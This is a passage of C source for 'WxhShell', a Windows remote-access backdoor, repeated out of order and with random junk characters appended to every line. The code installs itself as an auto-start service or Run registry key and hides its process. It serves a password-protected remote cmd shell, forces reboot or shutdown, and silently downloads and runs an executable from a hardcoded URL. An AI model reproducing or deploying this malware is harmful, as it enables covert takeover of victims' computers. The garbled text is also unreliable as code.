    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); THq}>QI  
    if(Boot(SHUTDOWN)) -Ct+W;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c9[{P~y  
    else { \(Rj2  
    closesocket(wsh); :;Z/$M16B  
    ExitThread(0); \@Cz 32wg  
    } 0J'^<G TL  
    break; e*T^:2oRl  
    } aQmS'{d?^  
  // 获取shell CrI<rD%'  
  case 's': { &'12,'8  
    CmdShell(wsh); }Q: CZ  
    closesocket(wsh); o=Z:0Ukl]  
    ExitThread(0); *Hn=)q  
    break; zqj|$YNC  
  } Fxa{ 9'99  
  // 退出 ,|RKM  
  case 'x': { =)+^y}xb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (.N n|lY<i  
    CloseIt(wsh); uq]=L  
    break; Q<6* UUQm  
    } +ZjDTTk  
  // 离开 25Z} .))  
  case 'q': { W]Xwt'ABz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %R4 \[e  
    closesocket(wsh); DtBvfYO8)>  
    WSACleanup(); HR?T  
    exit(1); Wy-_}wqHg  
    break; AAfU]4u0S  
        } ,K}"o~z  
  } 'yH  
  } &V+_b$  
$&.(7F^D  
  // 提示信息 3_wR2AU~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFDmNud`Q  
} [@qjy*5p  
  } $A~aNI  
ILDO/>n  
  return; &V axv$v}  
} dn'|~zf.  
Sm {Sq  
// shell模块句柄 VTL_I^p  
int CmdShell(SOCKET sock) U:~]>B $  
{ pSQX  
STARTUPINFO si; -l}"DP _  
ZeroMemory(&si,sizeof(si)); S}Wj.l+F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tOVTHx3E]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^(  
PROCESS_INFORMATION ProcessInfo; $'CS/U`E}  
char cmdline[]="cmd"; r ts2Jk7f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <=|^\r !}&  
  return 0; /Zs_G=\>  
} &zgliT!If  
TXYO{  
// 自身启动模式 z4D)Xy"/  
int StartFromService(void) 'J*'{  
{ +(x(Ybl#  
typedef struct \h[*oeh  
{ rhOxy Y0  
  DWORD ExitStatus; U= GJuixy  
  DWORD PebBaseAddress; =W')jKe0  
  DWORD AffinityMask; t|V5[n!  
  DWORD BasePriority; j8Q_s/n  
  ULONG UniqueProcessId; ^vh!1"T  
  ULONG InheritedFromUniqueProcessId; gcwJ{&  
}   PROCESS_BASIC_INFORMATION; .I|b9$V  
Rm n|!C%%K  
PROCNTQSIP NtQueryInformationProcess; y)|d`qC\  
N:64Gko"K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >P(.yQ8&kL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Cwwz  
f8K0/z  
  HANDLE             hProcess; &b:y#gvJ:  
  PROCESS_BASIC_INFORMATION pbi; %Qj$@.*:  
8[@Y`j8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4#W$5_Ny  
  if(NULL == hInst ) return 0; <~ay4JY  
?2o+x D2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DJdhOLx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H;a) `R3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D dwFKc&  
*>aVU'  
  if (!NtQueryInformationProcess) return 0; @ukL! AV?Y  
07qjWo/t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Z>}#R!,P  
  if(!hProcess) return 0; 1:7 fV@jw  
d$\n@}8eZp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1M)88&  
)X*_oH=  
  CloseHandle(hProcess); 1)}hzA  
%t* 9sh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JI-.SR  
if(hProcess==NULL) return 0; AWFq5YMSI  
I^LU*A=  
HMODULE hMod; V`/c#y||  
char procName[255]; 3LQ u+EsS  
unsigned long cbNeeded; ?^:5`  
}|/<!l+;$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e GAto  
3`3my=   
  CloseHandle(hProcess); |jH Yf42Q  
F{ 4k2Izr  
if(strstr(procName,"services")) return 1; // 以服务启动 `\z )EoI  
~|~2B$JeV  
  return 0; // 注册表启动 lGT[6S\as  
} Zl# ';~9W  
(O:&RAkk7  
// 主模块 :`BG/  
int StartWxhshell(LPSTR lpCmdLine) 7/]Ra  
{ b~ig$!N]  
  SOCKET wsl; @QpL*F  
BOOL val=TRUE; { .i^&  
  int port=0; 0"\js:-$  
  struct sockaddr_in door; yHf^6|$8  
{J)gS  
  if(wscfg.ws_autoins) Install(); m(xyEU  
'T|QG@q  
port=atoi(lpCmdLine); P _Gu~B!Y  
/&=y_%VR  
if(port<=0) port=wscfg.ws_port; {O=_c|u{N  
Y^#>3T  
  WSADATA data; >;M STHeW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bjwl21;{  
]~3a~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #Ph8 ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KCa @0  
  door.sin_family = AF_INET; 6m(+X M S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |1!OwQax  
  door.sin_port = htons(port); iH)vLD  
Lrt~Q:z2u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j}}as  
closesocket(wsl); MnY}U",   
return 1; './qBJ  
} $Vs5d= B  
CC`#2j  
  if(listen(wsl,2) == INVALID_SOCKET) { l,QO+ >)z  
closesocket(wsl); 5@bmm]  
return 1; ;;^?vS  
} -q-BP}r3  
  Wxhshell(wsl); C?g*c  
  WSACleanup(); \@NnL\ t u  
G&N),wsNZK  
return 0; zLS?: yq  
1TN+pmc}@  
} ?ZKIs9E[m  
]K5j(1EN  
// 以NT服务方式启动 68qCY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,0,& L  
{ ?[5_/0L,=  
DWORD   status = 0; sU^K5oo  
  DWORD   specificError = 0xfffffff; `9f7H  
Y$hLsM\%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ ^~+p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '<C#"2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W\ARCcTQ  
  serviceStatus.dwWin32ExitCode     = 0; ))6iVgSE$  
  serviceStatus.dwServiceSpecificExitCode = 0; kQ6YQsJ.*  
  serviceStatus.dwCheckPoint       = 0; !*k'3r KOW  
  serviceStatus.dwWaitHint       = 0; `LTD|0;  
2F,?}jJ.K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); unN*L  
  if (hServiceStatusHandle==0) return; bwjLMWEVq  
$L]E< gWrP  
status = GetLastError(); 1[Jv9S*f/  
  if (status!=NO_ERROR) _>{"vY  
{ ]4_)WUS.c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]A_A4=[w  
    serviceStatus.dwCheckPoint       = 0; 2Nx#:Rz  
    serviceStatus.dwWaitHint       = 0; V\%s)kq  
    serviceStatus.dwWin32ExitCode     = status; \xk8+=/A  
    serviceStatus.dwServiceSpecificExitCode = specificError; <5c^DA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M1Th~W9l  
    return; {`% q0Nr  
  } y2x)<.cDP  
_cc9+o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wqQrby<  
  serviceStatus.dwCheckPoint       = 0; ALR`z~1  
  serviceStatus.dwWaitHint       = 0; &nn+X%m9g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5[+E?4,&  
} x@VZJrQQ  
N2EX`@_2  
// 处理NT服务事件,比如:启动、停止 Ymcc|u6$"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Dyxul  
{ *ur[u*g  
switch(fdwControl) Zdu8axK:  
{ Bn d Y\  
case SERVICE_CONTROL_STOP: yuZh ak  
  serviceStatus.dwWin32ExitCode = 0; Ac Y!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d a.6Z!a  
  serviceStatus.dwCheckPoint   = 0; vau#?U".}>  
  serviceStatus.dwWaitHint     = 0; 4g/Ly8  
  { lJ4&kF=t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B}ASZYpW>  
  } rgrsNr:1  
  return; 9D& 22hL4  
case SERVICE_CONTROL_PAUSE: {F$MZ2E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gc:oS vm  
  break; &G!2T!xx  
case SERVICE_CONTROL_CONTINUE: ].*I Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Or  
  break; l:"zYcp%  
case SERVICE_CONTROL_INTERROGATE: 5sF?0P;ln  
  break; jE, oEt O;  
};  .Aa(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _dw6 C2]P  
} EAnw:yUV(  
n@| &jh  
// 标准应用程序主函数 D5fhOq+g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i<uk}  
{ h<f]hJ`ep  
U3ao:2zP  
// 获取操作系统版本 gl"1;C  
OsIsNt=GetOsVer(); ~f!iz~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R`emI7|  
DWar3+u&0  
  // 从命令行安装 0%hOB :  
  if(strpbrk(lpCmdLine,"iI")) Install(); !PY.F nZ  
vWpkU<&3|  
  // 下载执行文件 A/U,|  
if(wscfg.ws_downexe) { Z^vcODeC$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iN@+,]Yjl  
  WinExec(wscfg.ws_filenam,SW_HIDE); JlN<w  
} P<gr=&  
%N-f9o8  
if(!OsIsNt) { Mhj.3nN  
// 如果时win9x,隐藏进程并且设置为注册表启动 km#Rh^  
HideProc(); oSqkAAGz\  
StartWxhshell(lpCmdLine); 79Si^n1\  
} K9N\E"6ZP  
else XnI)s^  
  if(StartFromService()) 095Z Z20  
  // 以服务方式启动 >c 5V VA8  
  StartServiceCtrlDispatcher(DispatchTable); IgU65p  
else xs3t~o3y  
  // 普通方式启动 ZzV%+n7<Vx  
  StartWxhshell(lpCmdLine); :f58JLX  
M%Dv-D{  
return 0; qHQ#^jH  
} = ^A/&[&31  
z>./lu\  
+oMe\wYR$r  
LTc= D  
=========================================== XDrNc!XN  
4^rO K  
J$Nc9 ?|ZZ  
1K'.QRZMb9  
Oe*+pReSD  
DU%j;`3  
" 3[O;HS3|  
34\:1z+s M  
#include <stdio.h> L[FNr&  
#include <string.h> %4rPkPAtrp  
#include <windows.h> 6S2v3  
#include <winsock2.h> *w;=o}`  
#include <winsvc.h>  B Ji  
#include <urlmon.h> JQ.w6aE  
U[ $A=e?\Y  
#pragma comment (lib, "Ws2_32.lib") L=wg"$  
#pragma comment (lib, "urlmon.lib") ? 3 l4U  
5+[`x ']l  
#define MAX_USER   100 // 最大客户端连接数 GGR hM1II  
#define BUF_SOCK   200 // sock buffer tu6Q7CjW8  
#define KEY_BUFF   255 // 输入 buffer BejeFV3  
/"M7YPX;  
#define REBOOT     0   // 重启 dkRG4 )~g  
#define SHUTDOWN   1   // 关机 ^K K6 d  
ywRw i~  
#define DEF_PORT   5000 // 监听端口 ~~_!&  
S%7^7MSqA  
#define REG_LEN     16   // 注册表键长度 *[eh0$  
#define SVC_LEN     80   // NT服务名长度 P|Ojt I  
nUL8*#p-  
// 从dll定义API D<2|&xaR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MH>CCT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *MEDV1l_T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dm&vLQVS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D`bH_1X  
K 9X0/  
// wxhshell配置信息 2vit{  
struct WSCFG { \666{.a  
  int ws_port;         // 监听端口 ^=nJ,-(h_  
  char ws_passstr[REG_LEN]; // 口令 Lit@ m2{\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Xg+$/  
  char ws_regname[REG_LEN]; // 注册表键名 *$ihNX]YG  
  char ws_svcname[REG_LEN]; // 服务名 QJaF6>m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ad1%"~1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xJ|3}o:,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VHJ-v!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /OpVr15  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S;vE %  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :Qg3B ';  
5 ap~;t  
}; 75t\= 6#  
fJ3*'(  
// default Wxhshell configuration v}v! hs Q  
struct WSCFG wscfg={DEF_PORT, 2sJj -3J  
    "xuhuanlingzhe", /=zzym~<>  
    1, L+}q !'8S  
    "Wxhshell", `i8KIE  
    "Wxhshell", e>Vr#a4  
            "WxhShell Service",  p=Nord  
    "Wrsky Windows CmdShell Service", I$o^F/RH  
    "Please Input Your Password: ", Xi]WDH \  
  1, ,haCZH {  
  "http://www.wrsky.com/wxhshell.exe", vxxa,KR/y  
  "Wxhshell.exe" 8#gS{   
    }; +`_I !  
Dl kHE8r\  
// 消息定义模块 &^C <J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g.v)qB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?NZKu6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; paUlp7x  
char *msg_ws_ext="\n\rExit."; KWVEAHIn  
char *msg_ws_end="\n\rQuit."; %rpJZ t  
char *msg_ws_boot="\n\rReboot..."; X]J]7\4tF\  
char *msg_ws_poff="\n\rShutdown..."; Yq;|Me{h  
char *msg_ws_down="\n\rSave to "; HSk gS  
W|K"0ab  
char *msg_ws_err="\n\rErr!"; Th&* d;  
char *msg_ws_ok="\n\rOK!"; a D*  
<MhjvHg  
char ExeFile[MAX_PATH]; /P*mF^Y  
int nUser = 0; yJx{6  
HANDLE handles[MAX_USER]; H+:SL $+<o  
int OsIsNt; W ?;kMGW-  
VJ` c/EVIt  
SERVICE_STATUS       serviceStatus; D|W^PR:@h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2\flTO2Ny  
}QszOi\fV1  
// 函数声明 )$#]h]ac  
int Install(void); 7 tOOruiC  
int Uninstall(void); W+[XNIg5   
int DownloadFile(char *sURL, SOCKET wsh); vc.:du  
int Boot(int flag); |wASeZMO2  
void HideProc(void); j)K[A%(  
int GetOsVer(void); ~n:dHK`  
int Wxhshell(SOCKET wsl); &Q>)3]|p  
void TalkWithClient(void *cs); > uS?Nz5/  
int CmdShell(SOCKET sock); `T H0*:aI  
int StartFromService(void); _jV(Gv'  
int StartWxhshell(LPSTR lpCmdLine); R;9H`L/>  
N=J$+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |1GR:b24  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pyEi@L1p  
oVPtA@  
// 数据结构和表定义 f\sxx!kt  
SERVICE_TABLE_ENTRY DispatchTable[] = <szD"p|K  
{ @SREyqC4  
{wscfg.ws_svcname, NTServiceMain}, ~]HeoQK  
{NULL, NULL} SG1o< #>  
}; G=lcKtMdg  
O$}p}%%y7  
// 自我安装 E DuLgg@  
int Install(void) 14TA( v]T  
{ 6LUO  
  char svExeFile[MAX_PATH]; S Rs~p  
  HKEY key; 808E)  
  strcpy(svExeFile,ExeFile); Ue:'55  
shbPy   
// 如果是win9x系统,修改注册表设为自启动 Z:3N*YkL  
if(!OsIsNt) { IwC4fcZX6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cE}R7,y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2}Dd{kC-  
  RegCloseKey(key); `UFRv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IUco 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6QsH?!bu  
  RegCloseKey(key); ~b+TkPU   
  return 0; k=,,s(]tx  
    } B .p&,K  
  } Z$R6'EUb1  
} >$=-0?.  
else { `}:q@: %  
5~T`R~Uqb  
// 如果是NT以上系统,安装为系统服务 J&4QI( b.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qbjBN z  
if (schSCManager!=0)  6e,|HV  
{ t0_o .S  
  SC_HANDLE schService = CreateService "0o1M\6Z  
  ( NvH9?Ek"  
  schSCManager, O)nLV~X  
  wscfg.ws_svcname, Rk2V[R.`S  
  wscfg.ws_svcdisp, >$,A [|R  
  SERVICE_ALL_ACCESS, UW7*,Bq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1PWs">*(  
  SERVICE_AUTO_START, r\7F}ZW/  
  SERVICE_ERROR_NORMAL, jR-`ee}y2  
  svExeFile, KK; 3<kX  
  NULL, 44 bTx y  
  NULL, ;cQhs7m(9  
  NULL, /(C?3 }}L  
  NULL, 6@pP aq6  
  NULL nU]n]gd  
  ); WAPN,WuW  
  if (schService!=0) n:JWu0,h  
  { 9"mOjL  
  CloseServiceHandle(schService); ;V(- ;O  
  CloseServiceHandle(schSCManager); 32!jF}qpD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V@gweci  
  strcat(svExeFile,wscfg.ws_svcname); F"2v5F@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mdxa^#w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wbo{v r[2+  
  RegCloseKey(key); ySP1,xq  
  return 0; L/Cp\|~ O  
    } g_lj/u]P  
  } "?Dov/+Q.  
  CloseServiceHandle(schSCManager); 4|Z;EAFx  
} @UCI^a~w  
} C?@vBM}  
n_;qB7,,  
return 1; N3?hyR<T  
} SN!TE,=I  
s*`_Ka57]~  
// 自我卸载 >ZMB}pt`  
int Uninstall(void) 4;anoqiG\  
{ M@$}Og  
  HKEY key; D<}z7W-  
>hqev-   
if(!OsIsNt) { noY~fq/U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }{>)2S  
  RegDeleteValue(key,wscfg.ws_regname); j8p</gd  
  RegCloseKey(key); nn>1OO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ""cnZZ5)  
  RegDeleteValue(key,wscfg.ws_regname); 4yhan/zA  
  RegCloseKey(key); ? b;_T,S[  
  return 0; (_S`9Z8=  
  } x] [/9e  
} u6o:~=WwM  
} RlH|G  
else { *?|LE C  
M B]8iy8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^(<Ecdz(  
if (schSCManager!=0) #+)AIf  
{ I&9_F% rX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "YU<CO;4VV  
  if (schService!=0) yuyI)ebC  
  { GE;S5 X]X  
  if(DeleteService(schService)!=0) { H#pl&/+  
  CloseServiceHandle(schService); g)7~vm2/,  
  CloseServiceHandle(schSCManager); nx #0*r}5  
  return 0; NQQ+l0txI  
  } V +#Sb  
  CloseServiceHandle(schService); zTtn`j$  
  } p<b//^   
  CloseServiceHandle(schSCManager); &L3OP@;  
} BJGL &N  
} 5,/rh,?  
3m RP.<=  
return 1; Dep.Qfv{-  
} tHF -OarUO  
B|%(0j8  
// 从指定url下载文件 ,(d\!T/]'  
int DownloadFile(char *sURL, SOCKET wsh) : utY4  
{ ?y1']GAo  
  HRESULT hr; AY]dwKw  
char seps[]= "/"; -$W#bqvz^  
char *token; Co|3k:I 8  
char *file; 0=N,y  
char myURL[MAX_PATH]; 3r{3HaN(^'  
char myFILE[MAX_PATH]; a?Q\nu1  
0#\K9|.  
strcpy(myURL,sURL); SU,S1C_q8  
  token=strtok(myURL,seps); 8 xfn$  
  while(token!=NULL) Y0nnn  
  { pq8XCOllXx  
    file=token; ;U7o)A;  
  token=strtok(NULL,seps); 9a\H+Y~  
  } Ziclw)   
;bz|)[4/  
GetCurrentDirectory(MAX_PATH,myFILE); "Zk# bQ2j  
strcat(myFILE, "\\"); <sU?q<MC  
strcat(myFILE, file); WiDl[l"{9  
  send(wsh,myFILE,strlen(myFILE),0); ckn0I  
send(wsh,"...",3,0); m\9R;$ \  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yV{&x  
  if(hr==S_OK) G]Rb{v,r  
return 0; ' i- 6JG%  
else m9yi:zT%  
return 1; @Z0?1+k  
Q7<%_a  
} ;E,^bt<U  
G$#Q:]N  
// 系统电源模块 'G] P09`*)  
int Boot(int flag) UZcsMMKH  
{ w'Y(doY ,  
  HANDLE hToken; OS$}ej\  
  TOKEN_PRIVILEGES tkp; 6I)[6R  
0tA~Y26  
  if(OsIsNt) { ?vA)F)MS   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .h({P#QT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uc>kiWW  
    tkp.PrivilegeCount = 1; x9ll0Ht  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TA2HAMx)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VO"/cG;]*  
if(flag==REBOOT) { 6Jrw PZB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zv[D{  
  return 0; Y.}"<{RQ  
} Q{+*F8%8V<  
else { 2@TgeV0Y[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #}M\ J0QG  
  return 0; u^6@!M  
} Q#kSp8  
  } G909R>  
  else { e>F i  
if(flag==REBOOT) { g`7C1&U*T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^)J2tpr;]=  
  return 0; d_v]mfUF  
} .[8! E_  
else { Za[ ?CA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3(2WO^zX {  
  return 0; e>$d*~mwn  
} Y"{L&H `  
} Bb[WtT}=  
@euH[<  
return 1; }Z="}Dg|T  
} (M0"I1g|w  
i2+r#Hw#5R  
// win9x进程隐藏模块 ;C ^!T  
void HideProc(void) .j et0w  
{ bk(q8xR`  
L/J1;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5taR[ukM  
  if ( hKernel != NULL ) %*}h{n  
  { h+gaKh=k+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XC(:O(jdA2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 64LX[8Ax#  
    FreeLibrary(hKernel); ]QU 9|1  
  } saRYd{%+  
f 7R/i  
return; r|MBkpcvp  
} 1'NJ[ C`  
/M : 7  
// 获取操作系统版本 qw?Wi%t(x8  
int GetOsVer(void) uI9eUO  
{ `e`}dgf0S|  
  OSVERSIONINFO winfo; D%`O.2T Y|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !1b}M/Wx  
  GetVersionEx(&winfo); c;X%Ar  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X!b+Dk  
  return 1; 0dTHF})m  
  else qix$ }(P  
  return 0; lGlh/B%  
} qnu<"$   
zAW+!C.  
// 客户端句柄模块 H]P*!q`Ko  
int Wxhshell(SOCKET wsl) elqm/u  
{ b I-uF8"  
  SOCKET wsh; {g C?kp  
  struct sockaddr_in client; ; Sd== *  
  DWORD myID; aZ,j1j0p  
oW5Ov  
  while(nUser<MAX_USER) A_!N,< -  
{ `<3%`4z/  
  int nSize=sizeof(client); NR>&1aRbyb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I[6ft_*  
  if(wsh==INVALID_SOCKET) return 1; w4Uo-zr@  
h]Y,gya[yk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |C"zK  
if(handles[nUser]==0) |EGC1x]j=  
  closesocket(wsh); rNK<p3=7)  
else }PXtwp13&u  
  nUser++; bA-/"'Vp9  
  } KqL+R$??"(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S.zY0  
B,q)<z6<  
  return 0; bhl9:`s  
} qEvbKy}  
u?F^gIw  
// 关闭 socket j].=,M<dxE  
void CloseIt(SOCKET wsh) z',f'3+  
{ ,rNv}  
closesocket(wsh); 0;L.h|R T(  
nUser--; ~<Z7\yS)  
ExitThread(0); ri2`M\;gt  
} +gyGA/5:d$  
K0{ ,*>C  
// 客户端请求句柄 n%ypxY0  
void TalkWithClient(void *cs) -l~+cI\2  
{ P8X59^cJ  
ei82pLM z  
  SOCKET wsh=(SOCKET)cs; ]&?8l:3-G  
  char pwd[SVC_LEN]; RhWW61!"  
  char cmd[KEY_BUFF]; ATWa/"l(H-  
char chr[1]; nh]HEG0CZJ  
int i,j; U+Vb#U7;  
>|pN4FS  
  while (nUser < MAX_USER) { sd _DG8V  
 \62!{  
if(wscfg.ws_passstr) { q`|rS6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1d!TU=*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z.~jqxA9  
  //ZeroMemory(pwd,KEY_BUFF); aM4-quaG]  
      i=0; Eq=j+ch7  
  while(i<SVC_LEN) { _l+8[\v  
4$y P_3  
  // 设置超时 xC9?Wt'  
  fd_set FdRead; n#5S-z1KNw  
  struct timeval TimeOut; Ltk-1zhI  
  FD_ZERO(&FdRead); hs*n?vxp3  
  FD_SET(wsh,&FdRead); $q##Tys  
  TimeOut.tv_sec=8; } 4ZWAzH  
  TimeOut.tv_usec=0; qi['~((  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tZY6{,K%4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;YZ'd"0v  
)~CNh5z 6Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  (F&o!W  
  pwd=chr[0]; *mz-g7  
  if(chr[0]==0xd || chr[0]==0xa) { !E6Q ED"  
  pwd=0; H@te!EE  
  break; i!*8@:VI  
  } b"nD5r  
  i++; y"|gC!V}  
    } C[,&Y&`j  
K@vU_x0Sl  
  // 如果是非法用户,关闭 socket 9 /=+2SZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i}O.,iH  
} G8.nKoHv7x  
G0he'BR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^vJy<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A: O"N  
zJ_y"bt  
while(1) { SPp|/ [i7  
_h I81Lzq  
  ZeroMemory(cmd,KEY_BUFF); 3a'#Z4Z-  
<rFh93  
      // 自动支持客户端 telnet标准   =z4J[8bb  
  j=0; (v&iXD5t  
  while(j<KEY_BUFF) { (3Z;c_N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !xU[BCbfYV  
  cmd[j]=chr[0]; lV9   
  if(chr[0]==0xa || chr[0]==0xd) { Svdmg D!  
  cmd[j]=0; }1 j'  
  break; =&)R2pLs*  
  } 7M~/[f7Z{  
  j++; pM~-o?  
    } PU4-}!K  
LKA/s ~G  
  // 下载文件 pjma<^|F  
  if(strstr(cmd,"http://")) { [ @2$W?0i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p || mR  
  if(DownloadFile(cmd,wsh)) U_RWqKL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qYQ vjp  
  else pq:[`   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rl x6a@MiD  
  } *;F:6p4_  
  else { qC B{dp/  
XRTiC #6  
    switch(cmd[0]) { C#B|^A_  
